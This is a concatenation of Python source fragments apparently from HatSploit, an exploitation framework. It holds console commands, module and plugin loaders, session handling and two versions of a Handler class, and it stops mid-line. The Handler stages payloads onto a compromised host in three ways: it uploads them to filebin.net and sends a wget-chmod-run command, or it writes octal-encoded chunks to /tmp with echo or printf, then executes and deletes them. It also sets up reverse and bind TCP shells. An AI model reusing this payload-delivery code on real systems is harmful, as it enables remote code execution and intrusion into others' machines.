def __init__(self): self.types = Types() self.badges = Badges() self.sessions = Sessions() self.payloads = Payloads() self.local_storage = LocalStorage() self.importer = Importer()
class Plugins: def __init__(self): self.local_storage = LocalStorage() def check_exist(self, name): all_plugins = self.local_storage.get("plugins") if all_plugins: for database in all_plugins.keys(): plugins = all_plugins[database] if name in plugins.keys(): return True return False def check_loaded(self, name): loaded_plugins = self.local_storage.get("loaded_plugins") if loaded_plugins: if name in loaded_plugins: return True return False def get_database(self, name): all_plugins = self.local_storage.get("plugins") if all_plugins: for database in all_plugins.keys(): plugins = all_plugins[database] if name in plugins.keys(): return database return None
def __init__(self): self.exceptions = Exceptions() self.tables = Tables() self.badges = Badges() self.local_storage = LocalStorage() self.modules = Modules() self.job_process = None
def __init__(self): self.badges = Badges() self.local_storage = LocalStorage() self.base_path = '/opt/hsf/' self.config_path = self.base_path + 'config/' self.db_config_file = self.config_path + 'db_config.yml' self.path_config_file = self.config_path + 'path_config.yml' self.core_config_file = self.config_path + 'core_config.yml' self.db_config = self.local_storage.get("db_config") self.path_config = self.local_storage.get("path_config") self.core_config = self.local_storage.get("core_config")
def __init__(self): self.io = IO() self.tip = Tip() self.jobs = Jobs() self.execute = Execute() self.loader = Loader() self.config = Config() self.badges = Badges() self.banner = Banner() self.colors = Colors() self.local_storage = LocalStorage() self.modules = Modules() self.exceptions = Exceptions() self.history = self.config.path_config['base_paths']['history_path']
class HatSploitCommand(Command): plugins = Plugins() local_storage = LocalStorage() importer = Importer() details = { 'Category': "plugin", 'Name': "load", 'Authors': ['Ivan Nikolsky (enty8080)'], 'Description': "Load specified plugin.", 'Usage': "load <plugin>", 'MinArgs': 1 } def import_plugin(self, database, plugin): loaded_plugins = dict() plugins = self.local_storage.get("plugins")[database][plugin] try: loaded_plugins[plugin] = self.importer.import_plugin( plugins['Path']) except Exception: return None return loaded_plugins def add_plugin(self, database, plugin): plugins = self.local_storage.get("plugins")[database][plugin] not_installed = list() for dependence in plugins['Dependencies']: if not self.importer.import_check(dependence): not_installed.append(dependence) if not not_installed: plugin_object = self.import_plugin(database, plugin) if plugin_object: if self.local_storage.get("loaded_plugins"): self.local_storage.update("loaded_plugins", plugin_object) else: self.local_storage.set("loaded_plugins", plugin_object) self.local_storage.get("loaded_plugins")[plugin].run() self.output_success("Successfully loaded " + plugin + " plugin!") else: self.output_error("Failed to load plugin!") else: self.output_error( "Plugin depends this dependencies which is not installed:") for dependence in not_installed: self.output_empty(" * " + dependence) def run(self, argc, argv): plugin = argv[0] self.output_process("Loading " + plugin + " plugin...") if not self.plugins.check_loaded(plugin): if self.plugins.check_exist(plugin): database = self.plugins.get_database(plugin) self.add_plugin(database, plugin) else: self.output_error("Invalid plugin!") else: self.output_error("Already loaded!")
class HatSploitCommand(Command): config = Config() local_storage = LocalStorage() history = config.path_config['base_paths']['history_path'] storage_path = config.path_config['base_paths']['storage_path'] global_storage = GlobalStorage(storage_path) usage = "" usage += "history <option>\n\n" usage += " -l, --list List all history.\n" usage += " -c, --clear Clear all history.\n" usage += " on/off Turn history on/off.\n" details = { 'Category': "developer", 'Name': "history", 'Authors': [ 'Ivan Nikolsky (enty8080)' ], 'Description': "Manage HatSploit history.", 'Usage': usage, 'MinArgs': 1 } def run(self, argc, argv): option = argv[0] if option == "on": self.local_storage.set("history", True) self.global_storage.set("history", True) self.output_information("HatSploit history: on") elif option == "off": self.local_storage.set("history", False) self.global_storage.set("history", False) self.output_information("HatSploit history: off") elif option in ['-c', '--clear']: readline.clear_history() with open(self.history, 'w') as history: history.write("") elif option in ['-l', '--list']: using_history = self.local_storage.get("history") if using_history: if readline.get_current_history_length() > 0: self.output_information("HatSploit history:") history_file = open(self.history, 'r') history = [x.strip() for x in history_file.readlines()] history_file.close() for line in history: self.output_empty(" * " + line) for index in range(1, readline.get_current_history_length()): self.output_empty(" * " + readline.get_history_item(index)) else: self.output_warning("HatSploit history empty.") else: self.output_warning("No history detected.") else: self.output_usage(self.details['Usage'])
class ModulesChecks: def __init__(self): self.badges = Badges() self.importer = Importer() self.local_storage = LocalStorage() self.modules = Modules() def perform_check(self): fail = False all_modules = self.local_storage.get("modules") if all_modules: for database in all_modules.keys(): self.badges.output_process("Checking modules from " + database + " database...") modules = all_modules[database] for category in modules.keys(): for platform in modules[category].keys(): for module in modules[category][platform].keys(): try: _ = self.importer.import_module( modules[category][platform][module] ['Path']) self.badges.output_success( self.modules.get_full_name( category, platform, module) + ': OK') except Exception: self.badges.output_error( self.modules.get_full_name( category, platform, module) + ': FAIL') fail = True return fail
class PayloadsTests: def __init__(self): self.badges = Badges() self.importer = Importer() self.local_storage = LocalStorage() self.payloads = Payloads() def perform_test(self): fail = False all_payloads = self.local_storage.get("payloads") if all_payloads: for database in all_payloads.keys(): self.badges.output_process("Testing payloads from " + database + " database...") payloads = all_payloads[database] for platform in payloads.keys(): for architecture in payloads[platform].keys(): for payload in payloads[platform][architecture].keys(): try: _ = self.importer.import_payload( payloads[platform][architecture][payload] ['Path']) self.badges.output_success( self.payloads.get_full_name( platform, architecture, payload) + ': OK') except Exception: self.badges.output_error( self.payloads.get_full_name( platform, architecture, payload) + ': FAIL') fail = True return fail
class HatSploitCommand(Command): importer = Importer() local_storage = LocalStorage() modules = Modules() details = { 'Category': "module", 'Name': "use", 'Authors': [ 'Ivan Nikolsky (enty8080)' ], 'Description': "Use specified module.", 'Usage': "use <module>", 'MinArgs': 1 } def check_if_already_used(self, module): if self.modules.check_current_module(): if module == self.modules.get_current_module_name(): return True return False def run(self, argc, argv): module = argv[0] category = self.modules.get_category(module) platform = self.modules.get_platform(module) name = self.modules.get_name(module) if not self.check_if_already_used(module): if self.modules.check_exist(module): self.modules.add_module(category, platform, name) else: self.output_error("Invalid module!")
class HatSploitCommand(Command): modules = Modules() local_storage = LocalStorage() details = { 'Category': "core", 'Name': "help", 'Authors': [ 'Ivan Nikolsky (enty8080)' ], 'Description': "Show available commands.", 'Usage': "help", 'MinArgs': 0 } def format_base_commands(self): commands_data = dict() headers = ("Command", "Description") commands = self.local_storage.get("commands") for command in sorted(commands.keys()): label = commands[command].details['Category'] commands_data[label] = list() for command in sorted(commands.keys()): label = commands[command].details['Category'] commands_data[label].append((command, commands[command].details['Description'])) for label in sorted(commands_data.keys()): self.print_table(label.title() + " Commands", headers, *commands_data[label]) def format_plugin_commands(self): for plugin in self.local_storage.get("loaded_plugins").keys(): loaded_plugin = self.local_storage.get("loaded_plugins")[plugin] if hasattr(loaded_plugin, "commands"): commands_data = dict() headers = ("Command", "Description") commands = loaded_plugin.commands for label in sorted(commands.keys()): commands_data[label] = list() for command in sorted(commands[label].keys()): commands_data[label].append((command, commands[label][command]['Description'])) for label in sorted(commands_data.keys()): self.print_table(label.title() + " Commands", headers, *commands_data[label]) def format_custom_commands(self): current_module = self.modules.get_current_module_object() if hasattr(current_module, "commands"): commands_data = list() headers = ("Command", "Description") commands = current_module.commands for command in sorted(commands.keys()): commands_data.append((command, commands[command]['Description'])) self.print_table("Custom Commands", headers, *commands_data) def run(self, argc, argv): self.format_base_commands() if self.modules.check_current_module(): self.format_custom_commands() if self.local_storage.get("loaded_plugins"): self.format_plugin_commands()
class HatSploitCommand(Command): db = DB() local_storage = LocalStorage() usage = "" usage += "modules_db <option> [arguments]\n\n" usage += " -l, --list List all connected modules databases.\n" usage += " -d, --disconnect <name> Disconnect specified modules database.\n" usage += " -c, --connect <name> <path> Connect new modules database.\n" details = { 'Category': "database", 'Name': "modules_db", 'Authors': ['Ivan Nikolsky (enty8080)'], 'Description': "Manage modules databases.", 'Usage': usage, 'MinArgs': 1 } def run(self, argc, argv): choice = argv[0] if choice in ['-l', '--list']: if self.local_storage.get("connected_modules_databases"): databases_data = list() number = 0 headers = ("Number", "Name", "Path") databases = self.local_storage.get( "connected_modules_databases") for name in databases.keys(): databases_data.append( (number, name, databases[name]['path'])) number += 1 self.print_table("Connected Modules Databases", headers, *databases_data) else: self.output_warning("No modules database connected.") elif choice in ['-d', '--disconnect']: if argc < 2: self.output_usage(self.details['Usage']) else: self.db.disconnect_modules_database(argv[1]) elif choice in ['-c', '--connect']: if argc < 3: self.output_usage(self.details['Usage']) else: self.db.connect_modules_database(argv[1], argv[2]) else: self.output_usage(self.details['Usage'])
class IO: def __init__(self): self.colors = Colors() self.local_storage = LocalStorage() self.fmt = FMT() def output(self, message, start='\033[1K\r', end='\n'): sys.stdout.write(start + message + end) sys.stdout.flush() if self.local_storage.get("current_prompt") and self.local_storage.get("active_input"): prompt = start + self.local_storage.get("current_prompt") + readline.get_line_buffer() sys.stdout.write(prompt) sys.stdout.flush() def input(self, prompt_message): self.local_storage.set("current_prompt", prompt_message) self.local_storage.set("active_input", True) commands = input(self.colors.REMOVE + prompt_message) commands = self.fmt.format_commands(commands) arguments = list() if commands: arguments = commands[1:] self.local_storage.set("active_input", False) return commands, arguments
class HatSploitCommand(Command): config = Config() modules = Modules() local_storage = LocalStorage() details = { 'Category': "developer", 'Name': "edit", 'Authors': ['Ivan Nikolsky (enty8080)'], 'Description': "Open module in editor.", 'Usage': "edit <module>", 'MinArgs': 1 } def run(self, argc, argv): module = argv[0] module_category = self.modules.get_category(module) module_platform = self.modules.get_platform(module) module_name = self.modules.get_name(module) try: if not os.environ['EDITOR']: self.output_warning("Shell variable EDITOR not set.") editor = "vi" else: editor = os.environ['EDITOR'] except KeyError: self.output_warning("Shell variable EDITOR not set.") editor = "vi" if self.modules.check_exist(module): if not self.modules.check_imported(module): database = self.modules.get_database(module) module_path = self.local_storage.get("modules")[database][ module_category][module_platform][module_name]['Path'] edit_mode = editor + " " + self.config.path_config[ 'base_paths']['root_path'] + module_path self.execute.execute_system(edit_mode) else: self.output_error("Can not edit already used module!") else: self.output_error("Invalid module!")
class PluginsChecks: def __init__(self): self.badges = Badges() self.importer = Importer() self.local_storage = LocalStorage() def perform_check(self): fail = False all_plugins = self.local_storage.get("plugins") if all_plugins: for database in all_plugins.keys(): self.badges.output_process("Checking plugins from " + database + " database...") plugins = all_plugins[database] for plugin in plugins.keys(): try: _ = self.importer.import_plugin(plugins[plugin]['Path']) self.badges.output_success(plugin + ': OK') except Exception: self.badges.output_error(plugin + ': FAIL') fail = True return fail
class HatSploitCommand(Command): local_storage = LocalStorage() plugins = Plugins() details = { 'Category': "plugin", 'Name': "unload", 'Authors': ['Ivan Nikolsky (enty8080)'], 'Description': "Unload specified loaded plugin.", 'Usage': "unload <plugin>", 'MinArgs': 1 } def run(self, argc, argv): plugin = argv[0] self.output_process("Unloading " + plugin + " plugin...") if self.plugins.check_loaded(plugin): self.local_storage.delete_element("loaded_plugins", plugin) self.output_success("Successfully unloaded " + plugin + " plugin!") else: self.output_error("Plugin not loaded!")
class HatSploitCommand(Command): jobs = Jobs() local_storage = LocalStorage() usage = "" usage += "jobs <option> [arguments]\n\n" usage += " -l, --list List all active jobs.\n" usage += " -k, --kill <job_id> Kill specified job.\n" details = { 'Category': "jobs", 'Name': "jobs", 'Authors': ['Ivan Nikolsky (enty8080)'], 'Description': "Manage active jobs.", 'Usage': usage, 'MinArgs': 1 } def run(self, argc, argv): choice = argv[0] if choice in ['-l', '--list']: if self.local_storage.get("jobs"): jobs_data = list() headers = ("ID", "Name", "Module") jobs = self.local_storage.get("jobs") for job_id in jobs.keys(): jobs_data.append((job_id, jobs[job_id]['job_name'], jobs[job_id]['module_name'])) self.print_table("Active Jobs", headers, *jobs_data) else: self.output_warning("No running jobs available.") elif choice in ['-k', '--kill']: if argc < 2: self.output_usage(self.details['Usage']) else: self.jobs.delete_job(argv[1]) else: self.output_usage(self.details['Usage'])
class HatSploitCommand(Command): modules = Modules() local_storage = LocalStorage() details = { 'Category': "module", 'Name': "back", 'Authors': ['Ivan Nikolsky (enty8080)'], 'Description': "Return to the previous module.", 'Usage': "back", 'MinArgs': 0 } def run(self, argc, argv): if self.modules.check_current_module(): self.local_storage.set( "current_module_number", self.local_storage.get("current_module_number") - 1) self.local_storage.set( "current_module", self.local_storage.get("current_module")[0:-1]) if not self.local_storage.get("current_module"): self.local_storage.set("current_module_number", 0)
class Config: def __init__(self): self.badges = Badges() self.local_storage = LocalStorage() self.base_path = '/opt/hsf/' self.config_path = self.base_path + 'config/' self.db_config_file = self.config_path + 'db_config.yml' self.path_config_file = self.config_path + 'path_config.yml' self.core_config_file = self.config_path + 'core_config.yml' self.db_config = self.local_storage.get("db_config") self.path_config = self.local_storage.get("path_config") self.core_config = self.local_storage.get("core_config") @staticmethod def get_config_file(content): return yaml.safe_load(content) def configure(self): db_config = self.get_config_file(open(self.db_config_file)) path_config = self.get_config_file(open(self.path_config_file)) core_config = self.get_config_file(open(self.core_config_file)) self.db_config = db_config self.path_config = path_config self.core_config = core_config self.local_storage.set("db_config", self.db_config) self.local_storage.set("path_config", self.path_config) self.local_storage.set("core_config", self.core_config) self.global_storage = GlobalStorage( self.path_config['base_paths']['storage_path']) self.global_storage.set_all()
class Sessions: def __init__(self): self.badges = Badges() self.local_storage = LocalStorage() def add_session(self, session_platform, session_type, session_host, session_port, session_object): if not self.local_storage.get("sessions"): self.local_storage.set("sessions", dict()) session_id = 0 if session_platform in self.local_storage.get("sessions").keys(): sessions = self.local_storage.get("sessions") session_id = len(sessions[session_platform]) sessions[session_platform][int(session_id)] = { 'type': session_type, 'host': session_host, 'port': session_port, 'object': session_object } else: sessions = { session_platform: { int(session_id): { 'type': session_type, 'host': session_host, 'port': session_port, 'object': session_object } } } self.local_storage.update("sessions", sessions) return session_id def check_session_exist(self, session_platform, session_id): sessions = self.local_storage.get("sessions") if sessions: if session_platform in sessions.keys(): if int(session_id) in sessions[session_platform].keys(): return True return False def spawn_interactive_connection(self, session_platform, session_id): sessions = self.local_storage.get("sessions") if self.check_session_exist(session_platform, session_id): self.badges.output_process("Interacting with session " + str(session_id) + "...") self.badges.output_success("Interactive connection spawned!") self.badges.output_information("Type commands below.\n") sessions[session_platform][int(session_id)]['object'].interact() else: self.badges.output_error("Invalid session given!") def close_session(self, session_platform, session_id): sessions = self.local_storage.get("sessions") if self.check_session_exist(session_platform, session_id): try: sessions[session_platform][int(session_id)]['object'].close() del sessions[session_platform][int(session_id)] if not sessions[session_platform]: del sessions[session_platform] self.local_storage.update("sessions", sessions) except Exception: self.badges.output_error("Failed to close session!") else: self.badges.output_error("Invalid session given!") def get_session(self, session_platform, session_type, session_id): sessions = self.local_storage.get("sessions") if self.check_session_exist(session_platform, session_id): if session_type == sessions[session_platform][int( session_id)]['type']: return sessions[session_platform][int(session_id)]['object'] self.badges.output_error("Session with invalid type!") return None return None
class HatSploitCommand(Command): local_storage = LocalStorage() modules = Modules() payloads = Payloads() details = { 'Category': "core", 'Name': "show", 'Authors': ['Ivan Nikolsky (enty8080)'], 'Description': "Show specified information.", 'Usage': "show <information>", 'MinArgs': 1 } def show_plugins(self): plugins = self.local_storage.get("plugins") headers = ("Number", "Name", "Description") for database in plugins.keys(): number = 0 plugins_data = list() plugins = plugins[database] for plugin in sorted(plugins.keys()): plugins_data.append( (number, plugin, plugins[plugin]['Description'])) number += 1 self.print_table("Plugins (" + database + ")", headers, *plugins_data) def show_modules(self, information): modules = self.local_storage.get("modules") headers = ("Number", "Module", "Risk", "Description") for database in modules.keys(): number = 0 modules_data = list() modules = modules[database][information] for platform in sorted(modules.keys()): for module in sorted(modules[platform].keys()): modules_data.append( (number, modules[platform][module]['Module'], modules[platform][module]['Risk'], modules[platform][module]['Description'])) number += 1 self.print_table( information.title() + " Modules (" + database + ")", headers, *modules_data) def show_payloads(self): payloads = self.local_storage.get("payloads") headers = ("Number", "Category", "Payload", "Risk", "Description") for database in sorted(payloads.keys()): number = 0 payloads_data = list() for platform in sorted(payloads[database].keys()): for architecture in sorted( payloads[database][platform].keys()): for payload in sorted( payloads[database][platform][architecture].keys()): current_payload = payloads[database][platform][ architecture][payload] payloads_data.append( (number, current_payload['Category'], current_payload['Payload'], current_payload['Risk'], current_payload['Description'])) number += 1 self.print_table("Payloads (" + database + ")", headers, *payloads_data) def show_options(self): current_module = self.modules.get_current_module_object() if not hasattr(current_module, "options") and not hasattr( current_module, "payload"): self.badges.output_warning("Module has no options.") return if not hasattr(current_module, "options") and not hasattr( self.payloads.get_current_payload(), "options"): self.badges.output_warning("Module has no options.") return if hasattr(current_module, "options"): options_data = list() headers = ("Option", "Value", "Required", "Description") options = current_module.options.copy() if hasattr(current_module, "payload"): options['PAYLOAD'] = dict() options['PAYLOAD']['Description'] = current_module.payload[ 'Description'] options['PAYLOAD']['Value'] = current_module.payload['Value'] options['PAYLOAD']['Type'] = None options['PAYLOAD']['Required'] = True for option in sorted(options.keys()): value, required = options[option]['Value'], options[option][ 'Required'] if required: required = "yes" else: required = "no" if not value and value != 0: value = "" options_data.append( (option, value, required, options[option]['Description'])) self.print_table( "Module Options (" + current_module.details['Module'] + ")", headers, *options_data) if hasattr(current_module, "payload"): if hasattr(self.payloads.get_current_payload(), "options"): options_data = list() headers = ("Option", "Value", "Required", "Description") current_payload = self.payloads.get_current_payload() if current_payload: for option in sorted(current_payload.options.keys()): value, required = current_payload.options[option]['Value'], \ current_payload.options[option]['Required'] if required: required = "yes" else: required = "no" if not value and value != 0: value = "" options_data.append( (option, value, required, current_payload.options[option]['Description'])) self.print_table( "Payload Options (" + current_payload.details['Payload'] + ")", headers, *options_data) def print_usage(self, informations, plugins, options): if informations or plugins or options: usage = "Informations: " if self.local_storage.get("payloads"): usage += "payloads, " for information in informations: usage += information + ", " if plugins: usage += "plugins, " if options: usage += "options" else: usage = usage[:-2] self.output_information(usage) else: self.output_warning("No informations available!") def run(self, argc, argv): information = argv[0] options = self.modules.check_current_module() payloads = self.local_storage.get("payloads") modules = self.local_storage.get("modules") plugins = self.local_storage.get("plugins") informations = list() if modules: for database in sorted(modules.keys()): for category in sorted(modules[database].keys()): informations.append(category) if payloads: if information == "payloads": self.show_payloads() return if plugins: if information == "plugins": self.show_plugins() return if options: if information == "options": self.show_options() return if information in informations: self.show_modules(information) else: self.print_usage(informations, plugins, options)
class HatSploitCommand(Command): local_storage = LocalStorage() usage = "" usage += "search [options] <keyword>\n\n" usage += " -w, --where [playloads|modules|plugins] Select where search.\n" details = { 'Category': "core", 'Name': "search", 'Authors': ['Ivan Nikolsky (enty8080)'], 'Description': "Search payloads, modules and plugins.", 'Usage': usage, 'MinArgs': 1 } def show_plugins(self, keyword): plugins = self.local_storage.get("plugins") headers = ("Number", "Name", "Description") for database in plugins.keys(): number = 0 plugins_data = list() plugins = plugins[database] for plugin in sorted(plugins.keys()): if keyword in plugin or keyword in plugins[plugin][ 'Description']: name = plugin.replace(keyword, self.RED + keyword + self.END) description = plugins[plugin]['Description'].replace( keyword, self.RED + keyword + self.END) plugins_data.append((number, name, description)) number += 1 if plugins_data: self.print_table("Plugins (" + database + ")", headers, *plugins_data) def show_modules(self, keyword): modules = self.local_storage.get("modules") headers = ("Number", "Module", "Risk", "Description") for database in modules.keys(): number = 0 modules_data = list() for information in modules[database].keys(): for platform in sorted(modules[database][information].keys()): for module in sorted( modules[database][information][platform].keys()): current_module = modules[database][information][ platform] if keyword in information + '/' + platform + '/' + module or keyword in current_module[ module]['Description']: name = current_module[module]['Module'].replace( keyword, self.RED + keyword + self.END) description = current_module[module][ 'Description'].replace( keyword, self.RED + keyword + self.END) modules_data.append( (number, name, current_module[module]['Risk'], description)) number += 1 if modules_data: self.print_table("Modules (" + database + ")", headers, *modules_data) def show_payloads(self, keyword): payloads = self.local_storage.get("payloads") headers = ("Number", "Category", "Payload", "Risk", "Description") for database in sorted(payloads.keys()): number = 0 payloads_data = list() for platform in sorted(payloads[database].keys()): for architecture in sorted( payloads[database][platform].keys()): for payload in sorted( payloads[database][platform][architecture].keys()): current_payload = payloads[database][platform][ architecture][payload] if keyword in platform + '/' + architecture + '/' + payload or keyword in current_payload[ 'Description']: name = current_payload['Payload'].replace( keyword, self.RED + keyword + self.END) description = current_payload[ 'Description'].replace( keyword, self.RED + keyword + self.END) payloads_data.append( (number, current_payload['Category'], name, current_payload['Risk'], description)) number += 1 if payloads_data: self.print_table("Payloads (" + database + ")", headers, *payloads_data) def run(self, argc, argv): if argv[0] not in ['-w', '--where']: self.show_modules(argv[0]) self.show_payloads(argv[0]) self.show_plugins(argv[0]) else: if argc < 3: self.output_usage(self.details['Usage']) else: if argv[1] == 'modules': self.show_modules(argv[2]) elif argv[1] == 'payloads': self.show_payloads(argv[2]) elif argv[1] == 'plugins': self.show_plugins(argv[2]) else: self.output_usage(self.details['Usage'])
class Handler(TCP): sessions = Sessions() local_storage = LocalStorage() modules = Modules() badges = Badges() def listen_session(self, local_host, local_port, timeout=None, session=HatSploitSession): try: client, address = self.listen(local_host, local_port, timeout) session = session() session.open(client) return session, address except Exception: self.badges.output_error("Failed to handle session!") return None, None def connect_session(self, remote_host, remote_port, timeout=None, session=HatSploitSession): try: client = self.connect(remote_host, remote_port, timeout) session = session() session.open(client) return session except Exception: self.badges.output_error("Failed to handle session!") return None def bytes_to_octal(self, bytes_obj, extra_zero=False): byte_octals = [] for byte in bytes_obj: byte_octal = '\\0' if extra_zero else '\\' + oct(byte)[2:] byte_octals.append(byte_octal) return ''.join(byte_octals) def wget_stage(self, payload, sender, args=[], payload_args=None, delim=';', location='/tmp', encode=False, execute=True): self.badges.output_process("Sending payload stage...") filename = binascii.hexlify(os.urandom(8)).decode() path = location + '/' + filename wget_bin = binascii.hexlify(os.urandom(8)).decode() wget_file = binascii.hexlify(os.urandom(8)).decode() wget_container = f"https://dev.filebin.net/{wget_bin}" wget_server = f"https://dev.filebin.net/{wget_bin}/{wget_file}" wget_stream = "wget '{}' -qO {}" requests.post(wget_server.format(wget_bin, wget_file), data=payload) self.badges.output_process("Uploading payload...") if execute: self.badges.output_process("Executing payload...") command = f"{wget_stream.format(wget_server, path)} {delim} chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"" args = args if args is not None else "" else: command = wget_stream.format(wget_server, path) if encode: sender(*args, f"{command}\n".encode()) else: sender(*args, {command}) requests.delete(wget_container) def echo_stage(self, payload, sender, args=[], payload_args=None, delim=';', location='/tmp', encode=False, execute=True): self.badges.output_process("Sending payload stage...") filename = binascii.hexlify(os.urandom(8)).decode() path = location + '/' + filename echo_stream = "echo -n '{}' >> {}" echo_max_length = 100 size = len(payload) num_parts = int(size / echo_max_length) + 1 for i in range(0, num_parts): current = i * echo_max_length block = self.bytes_to_octal(payload[current:current + echo_max_length], extra_zero=True) command = echo_stream.format(block, path) self.badges.output_multi( f"Uploading payload... ({str(current)}/{str(size)})") if encode: sender(*args, (command + '\n').encode()) else: sender(*args, command) if execute: self.badges.output_process("Executing payload...") args = args if args is not None else "" if encode: sender( *args, f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"\n" .encode()) else: sender( *args, f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"" ) def printf_stage(self, payload, sender, args=[], payload_args=None, delim=';', location='/tmp', encode=False, execute=True): self.badges.output_process("Sending payload stage...") filename = binascii.hexlify(os.urandom(8)).decode() path = location + '/' + filename printf_stream = "printf '{}' >> {}" printf_max_length = 100 size = len(payload) num_parts = int(size / printf_max_length) + 1 for i in range(0, num_parts): current = i * printf_max_length block = self.bytes_to_octal(payload[current:current + printf_max_length]) command = printf_stream.format(block, path) self.badges.output_multi( f"Uploading payload... ({str(current)}/{str(size)})") if encode: sender(*args, (command + '\n').encode()) else: sender(*args, command) if execute: self.badges.output_process("Executing payload...") args = args if args is not None else "" if encode: sender( *args, f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"\n" .encode()) else: sender( *args, f"chmod 777 {path} {delim} sh -c \"{path} {payload_args} && rm {path} 2>/dev/null &\"" ) def set_session_details(self, payload, session): if not session.details['Type']: session.details['Type'] = 'custom' session.details['Platform'] = payload['Platform'] return session def handle_session(self, host, port, payload, sender=None, args=[], delim=';', location='/tmp', timeout=None, method=None, post="printf"): if payload['Payload'] is None: self.badges.output_error("Payload stage is not found!") return False encode = False if sender is not None: session = payload['Session'] if payload[ 'Session'] is not None else HatSploitSession if payload['Category'].lower() == 'stager': if post.lower() == 'printf': self.printf_stage(payload['Payload'], sender, args, payload['Args'], delim, location, encode) elif post.lower() == 'echo': self.echo_stage(payload['Payload'], sender, args, payload['Args'], delim, location, encode) elif post.lower() == 'wget': self.wget_stage(payload['Payload'], sender, args, payload['Args'], delim, location, encode) else: self.output_warning( "Invalid post method, using printf by default.") self.printf_stage(payload['Payload'], sender, args, payload['Args'], delim, location, encode) elif payload['Category'].lower() == 'single': sender(*args, payload['Payload']) else: self.badges.output_error("Invalid payload category!") return False else: if method is not None: encode = True if method.lower() == 'reverse_tcp': new_session, remote_host = self.listen_session( host, port, timeout, HatSploitSession) if not new_session and not remote_host: return False if method.lower() == 'bind_tcp': new_session = self.connect_session(host, port, timeout, HatSploitSession) remote_host = host if not new_session: return False if payload['Category'].lower() == 'stager': if post.lower() == 'printf': self.printf_stage(payload['Payload'], new_session.send, args, payload['Args'], delim, location, encode) elif post.lower() == 'echo': self.echo_stage(payload['Payload'], new_session.send, args, payload['Args'], delim, location, encode) elif post.lower() == 'wget': self.wget_stage(payload['Payload'], new_session.send, args, payload['Args'], delim, location, encode) else: self.output_warning( "Invalid post method, using printf by default.") self.printf_stage(payload['Payload'], new_session.send, args, payload['Args'], delim, location, encode) elif payload['Category'].lower() == 'single': new_session.send_command(payload['Payload']) else: self.badges.output_error("Invalid payload category!") return False else: self.badges.output_error("Failed to execute payload stage!") return False if payload['Type'].lower() == 'one_side': self.badges.output_warning( "Payload completed but no session was created.") return True session = payload['Session'] if payload[ 'Session'] is not None else HatSploitSession if payload['Type'].lower() == 'bind_tcp': new_session = self.connect_session(host, port, timeout, session) remote_host = host if not new_session: return False if payload['Type'].lower() == 'reverse_tcp': new_session, remote_host = self.listen_session( host, port, timeout, session) if not new_session and not remote_host: return False new_session = self.set_session_details(payload, new_session) session_platform = new_session.details['Platform'] session_type = new_session.details['Type'] session_id = self.sessions.add_session(session_platform, session_type, remote_host, port, new_session) self.badges.output_success("Session " + str(session_id) + " opened!") return True
def __init__(self): self.importer = Importer() self.local_storage = LocalStorage() self.badges = Badges()
class HatSploitCommand(Command): config = Config() storage_path = config.path_config['base_paths']['storage_path'] local_storage = LocalStorage() global_storage = GlobalStorage(storage_path) usage = "" usage += "storage [global|local] <option> [arguments]\n\n" usage += " -l, --list List all storage variables.\n" usage += " -v, --value <name> Show specified storage variable value.\n" usage += " -s, --set <name> <value> Set storage veriable value.\n" usage += " -d, --delete <name> Delete storage variable.\n" details = { 'Category': "developer", 'Name': "storage", 'Authors': [ 'Ivan Nikolsky (enty8080)' ], 'Description': "Manage storage variables.", 'Usage': usage, 'MinArgs': 2 } def run(self, argc, argv): type_of_storage = argv[0] if type_of_storage == "global": choice = argv[1] if choice in ['-l', '--list']: self.output_information("Global storage variables:") for variable in self.global_storage.get_all(): if not str.startswith(variable, '__') and not str.endswith(variable, '__'): self.output_empty(" * " + variable) elif choice in ['-v', '--value']: if argc < 3: self.output_usage(self.details['Usage']) else: if argv[2] in self.global_storage.get_all(): self.output_information(argv[2] + " = " + str( self.global_storage.get(argv[2]))) elif choice in ['-s', '--set']: if argc < 4: self.output_usage(self.details['Usage']) else: self.global_storage.set(argv[2], argv[3]) elif choice in ['-d', '--delete']: if argc < 3: self.output_usage(self.details['Usage']) else: if argv[2] in self.global_storage.get_all(): self.global_storage.delete(argv[2]) else: self.output_error("Invalid storage variable name!") else: self.output_usage(self.details['Usage']) elif type_of_storage == "local": choice = argv[1] if choice in ['-l', '--list']: self.output_information("Local storage variables:") for variable in self.local_storage.get_all(): if not str.startswith(variable, '__') and not str.endswith(variable, '__'): self.output_empty(" * " + variable) elif choice in ['-v', '--value']: if argc < 3: self.output_usage(self.details['Usage']) else: if argv[2] in self.local_storage.get_all(): self.output_information(argv[2] + " = " + str( self.local_storage.get(argv[2]))) else: self.output_error("Invalid storage variable name!") elif choice in ['-s', '--set']: if argc < 4: self.output_usage(self.details['Usage']) else: self.local_storage.set(argv[2], argv[3]) elif choice in ['-d', '--delete']: if argc < 3: self.output_usage(self.details['Usage']) else: if argv[2] in self.local_storage.get_all(): self.local_storage.delete(argv[2]) else: self.output_error("Invalid storage variable name!") else: self.output_usage(self.details['Usage']) else: self.output_usage(self.details['Usage'])
class Handler(TCP): sessions = Sessions() local_storage = LocalStorage() modules = Modules() badges = Badges() def listen_session(self, local_host, local_port, timeout=None, session=HatSploitSession): try: client, address = self.listen(local_host, local_port, timeout) session = session() session.open(client) return session, address except Exception: self.badges.output_error("Failed to handle session!") return None, None def connect_session(self, remote_host, remote_port, timeout=None, session=HatSploitSession): try: client = self.connect(remote_host, remote_port, timeout) session = session() session.open(client) return session except Exception: self.badges.output_error("Failed to handle session!") return None def bytes_to_octal(self, bytes_obj): byte_octals = [] for byte in bytes_obj: byte_octal = '\\' + oct(byte)[2:] byte_octals.append(byte_octal) return ''.join(byte_octals) def echo_stage(self, payload, sender, args=[], payload_args=None, location='/tmp', encode=False): self.badges.output_process("Sending payload stage...") filename = binascii.hexlify(os.urandom(8)).decode() path = location + '/' + filename echo_stream = "printf '{}' >> {}" echo_max_length = 100 size = len(payload) num_parts = int(size / echo_max_length) + 1 for i in range(0, num_parts): current = i * echo_max_length block = self.bytes_to_octal(payload[current:current + echo_max_length]) command = echo_stream.format(block, path) self.badges.output_multi( f"Uploading payload... ({str(current)}/{str(size)})") if encode: sender(*args, (command + '\n').encode()) else: sender(*args, command) args = args if args is not None else "" if encode: sender( *args, f"chmod 777 {path}; sh -c '{path} {payload_args}' 2>/dev/null 